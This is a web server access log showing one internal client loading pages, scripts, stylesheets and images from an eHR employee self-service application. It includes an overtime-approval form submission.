192.168.11.104 - - [06/Sep/2025:11:22:42 +0800] "GET /eHR/img/logo.gif HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:22:42 +0800] "GET /eHR/img/icon_help.png HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:22:42 +0800] "GET /eHR/img/icon_help.png HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:22:42 +0800] "GET /eHR/img/icon_about.png HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:22:42 +0800] "GET /eHR/img/icon_about.png HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:22:42 +0800] "GET /eHR/img/icon_jd.png HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:22:42 +0800] "GET /eHR/img/icon_jd.png HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:22:42 +0800] "GET /eHR/img/icon_obj.png HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:22:42 +0800] "GET /eHR/img/icon_obj.png HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:22:42 +0800] "GET /eHR/img/icon_exit.png HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:22:42 +0800] "GET /eHR/img/icon_exit.png HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:22:42 +0800] "GET /eHR/js/jqueryui/jquery-1.4.4.min.js HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:22:42 +0800] "GET /eHR/js/jqueryui/jquery-1.4.4.min.js HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:22:42 +0800] "GET /eHR/img/human.png HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:22:42 +0800] "GET /eHR/img/human.png HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:22:42 +0800] "GET /eHR/img/ess-logo.png HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:22:42 +0800] "GET /eHR/img/ess-logo.png HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:22:42 +0800] "GET /eHR/js/jqueryui/jquery-ui-1.8.11.custom.min.js HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:22:42 +0800] "GET /eHR/js/jqueryui/jquery-ui-1.8.11.custom.min.js HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:22:42 +0800] "GET /eHR/js/jquery.layout.min-1.2.0.js HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:22:42 +0800] "GET /eHR/js/jquery.layout.min-1.2.0.js HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:22:42 +0800] "GET /eHR/js/jquery.cookie.min.js HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:22:42 +0800] "GET /eHR/js/jquery.cookie.min.js HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:22:42 +0800] "GET /eHR/img/layout/toggle-lt.gif HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:22:42 +0800] "GET /eHR/img/Person.png HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:22:42 +0800] "GET /eHR/img/layout/toggle-lt.gif HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:22:42 +0800] "GET /eHR/img/Person.png HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:22:42 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_inset-hard_100_fcfdfd_1x100.png HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:22:42 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_inset-hard_100_fcfdfd_1x100.png HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:22:42 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_6da8d5_256x240.png HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:22:42 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_6da8d5_256x240.png HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:22:42 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_glass_85_dfeffc_1x400.png HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:22:42 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_glass_85_dfeffc_1x400.png HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:22:42 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10184
192.168.11.104 - - [06/Sep/2025:11:22:42 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10184 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:22:43 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.all.css HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNH000" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:22:43 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.all.css HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:22:43 +0800] "GET /eHR/js/jqueryui/jquery-1.4.4.min.js HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:22:43 +0800] "GET /eHR/js/jqueryui/jquery-1.4.4.min.js HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNH000" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:22:43 +0800] "GET /eHR/js/jqueryui/jquery-ui-1.8.11.custom.min.js HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNH000" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:22:43 +0800] "GET /eHR/js/jqueryui/jquery-ui-1.8.11.custom.min.js HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:22:43 +0800] "GET /eHR/css/blueprint/screen.css HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:22:43 +0800] "GET /eHR/css/blueprint/screen.css HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNH000" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:22:43 +0800] "GET /eHR/css/default.css?m=20130917 HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNH000" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:22:43 +0800] "GET /eHR/css/default.css?m=20130917 HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:22:43 +0800] "GET /eHR/js/i18n/ui.datepicker-zh-TW.min.js HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:22:43 +0800] "GET /eHR/js/i18n/ui.datepicker-zh-TW.min.js HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNH000" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:22:43 +0800] "GET /eHR/js/functions.js HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:22:43 +0800] "GET /eHR/js/functions.js HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNH000" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:22:43 +0800] "GET /eHR/img/ares.ico HTTP/1.1" 200 1406
192.168.11.104 - - [06/Sep/2025:11:22:43 +0800] "GET /eHR/img/ares.ico HTTP/1.1" 200 1406 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.11.104 - - [06/Sep/2025:11:22:43 +0800] "GET /eHR/img/ares.ico HTTP/1.1" 200 1406
192.168.11.104 - - [06/Sep/2025:11:22:43 +0800] "GET /eHR/img/ares.ico HTTP/1.1" 200 1406 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.11.104 - - [06/Sep/2025:11:22:48 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%B0%BD HTTP/1.1" 200 452188 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNH000" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:22:48 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%B0%BD HTTP/1.1" 200 452188
192.168.11.104 - - [06/Sep/2025:11:22:56 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%B0%BD HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%B0%BD" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:22:56 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%B0%BD HTTP/1.1" 302 -
192.168.11.104 - - [06/Sep/2025:11:22:57 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 7220 "http://192.168.1.83:8088/eHR/ess/index.php?lang=ZHT" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:22:57 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 7220
192.168.11.104 - - [06/Sep/2025:11:23:02 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.all.css HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:23:02 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.all.css HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:23:02 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.base.css HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:23:02 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.base.css HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:23:02 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:23:02 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:23:02 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.core.css HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:23:02 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.core.css HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:23:02 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.resizable.css HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:23:02 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.resizable.css HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:23:02 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.selectable.css HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:23:02 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.selectable.css HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:23:02 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.accordion.css HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:23:02 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.accordion.css HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:23:02 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.autocomplete.css HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:23:02 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.autocomplete.css HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:23:02 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.button.css HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:23:02 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.button.css HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:23:02 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.dialog.css HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:23:02 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.dialog.css HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:23:02 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.slider.css HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:23:02 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.slider.css HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:23:02 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.tabs.css HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:23:02 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.tabs.css HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:23:02 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.datepicker.css HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:23:02 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.datepicker.css HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:23:02 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.progressbar.css HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:23:02 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.progressbar.css HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:23:02 +0800] "GET /eHR/css/layout/layout.min.css HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:23:02 +0800] "GET /eHR/css/layout/layout.min.css HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:23:02 +0800] "GET /eHR/img/logo.gif HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:23:02 +0800] "GET /eHR/img/logo.gif HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:23:02 +0800] "GET /eHR/img/icon_obj.png HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:23:02 +0800] "GET /eHR/img/icon_obj.png HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:23:02 +0800] "GET /eHR/img/icon_jd.png HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:23:02 +0800] "GET /eHR/img/icon_jd.png HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:23:02 +0800] "GET /eHR/img/icon_about.png HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:23:02 +0800] "GET /eHR/img/icon_about.png HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:23:02 +0800] "GET /eHR/img/icon_help.png HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:23:02 +0800] "GET /eHR/img/icon_help.png HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:23:02 +0800] "GET /eHR/img/icon_exit.png HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:23:02 +0800] "GET /eHR/img/icon_exit.png HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:23:02 +0800] "GET /eHR/js/jqueryui/jquery-1.4.4.min.js HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:23:02 +0800] "GET /eHR/js/jqueryui/jquery-1.4.4.min.js HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:23:02 +0800] "GET /eHR/img/human.png HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:23:02 +0800] "GET /eHR/img/human.png HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:23:02 +0800] "GET /eHR/img/ess-logo.png HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:23:02 +0800] "GET /eHR/img/ess-logo.png HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:23:02 +0800] "GET /eHR/js/jqueryui/jquery-ui-1.8.11.custom.min.js HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:23:02 +0800] "GET /eHR/js/jqueryui/jquery-ui-1.8.11.custom.min.js HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:23:02 +0800] "GET /eHR/js/jquery.layout.min-1.2.0.js HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:23:02 +0800] "GET /eHR/js/jquery.layout.min-1.2.0.js HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:23:02 +0800] "GET /eHR/js/jquery.cookie.min.js HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:23:02 +0800] "GET /eHR/js/jquery.cookie.min.js HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:23:02 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_inset-hard_100_fcfdfd_1x100.png HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:23:02 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_inset-hard_100_fcfdfd_1x100.png HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:23:02 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_6da8d5_256x240.png HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:23:02 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_6da8d5_256x240.png HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:23:02 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_glass_85_dfeffc_1x400.png HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:23:02 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_glass_85_dfeffc_1x400.png HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:23:02 +0800] "GET /eHR/img/Person.png HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:23:02 +0800] "GET /eHR/img/Person.png HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:23:02 +0800] "GET /eHR/img/layout/toggle-lt.gif HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:23:02 +0800] "GET /eHR/img/layout/toggle-lt.gif HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:23:02 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 9880
192.168.11.104 - - [06/Sep/2025:11:23:02 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 9880 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
